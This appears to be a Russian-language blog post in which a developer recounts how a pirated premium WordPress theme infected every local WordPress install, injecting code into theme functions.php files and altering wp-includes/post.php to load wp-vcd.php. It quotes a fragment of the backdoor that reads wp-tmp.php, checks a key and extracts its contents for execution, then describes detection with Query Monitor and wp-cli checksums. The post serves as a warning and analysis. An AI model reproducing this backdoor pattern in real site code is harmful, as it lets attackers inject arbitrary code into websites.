Мне нужно было проверить совместимость Dokan с премиум-темой от ThemeForest. В итоге я решил погуглить и нашел сайт с пиратскими/обнуленными темами. Меня удивило, что они не просят за скачивание денег и не ставят партнерские ссылки. Было очень подозрительно, но я решил загрузить тему и установить ее на свою локальную машину.
Зная, что из-за этого должны были появиться разные неприятности, я перешел к functions.php, изучил его и не нашел ничего странного. Поэтому я нажал «Активировать». Тема заработала. Все было великолепно.
Я углубился в решение проблем с совместимостью между темой и Dokan. После завершения тестирования я перешел к следующему проекту в другой установке WordPress, и тут я обнаружил, что Query Monitor выдал предупреждение.
Проинспектировав тему, я обнаружил, что в верхней части functions.php появился какой-то мусорный код. Но это была совсем другая тема и другая установка WordPress!
elseif($tmpcontent= @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
120
extract(theme_temp_setup($tmpcontent));
122
elseif($tmpcontent= @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
123
extract(theme_temp_setup($tmpcontent));
125
elseif($tmpcontent= @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
126
extract(theme_temp_setup($tmpcontent));
131
// $start_wp_theme_tmp
133
// $end_wp_theme_tmp
Жесть! С помощью этого фрагмента злоумышленник мог внедрить любой код в вашу тему или на ваш сервер. Мне посчастливилось, потому что я не ставил эту тему на рабочий сервер или в хостинг-среду. В противном случае произойти могло всякое. Тема инфицировалась, хотя она была в другой установке. Был шанс, что Twenty Seventeen – не единственная зараженная тема, и это оказалось верно. Все дефолтные темы были заражены — Twenty Fifteen/Sixteen/Seventeen. В общем, все мои установки WordPress на моем компьютере оказались инфицированными. Все файлы functions.php содержали вредоносный код во всех темах.
В итоге я удалил код из functions.php и перешел к другой странице сайта. Однако Query Monitor по-прежнему сообщал о той же самой ошибке. Как такое могло быть? Я открыл файл и увидел, что код опять появился. Соответственно, должно было произойти что-то еще наряду с внедрением кода в тему. Я решил проверить файлы ядра WP.
Естественно, вы не знаете, какой именно файл смотреть, потому вам нужно проверить целостность установки WP. К счастью, команда checksum в wp-cli справляется с этим довольно быстро. И мои опасения подтвердились…
Таким образом, даже если вы выявите зараженную тему, вы не устраните лазейку целиком, пока не уберете данный файл. Если вы хотите исследовать зараженный код, вы можете сделать это в следующем gist. Файл wp-includes/post.php был изменен так, чтобы получать wp-vcd.php, если он существует.
Мораль такова: обходите стороной взломанные темы для WordPress. Риски слишком высоки.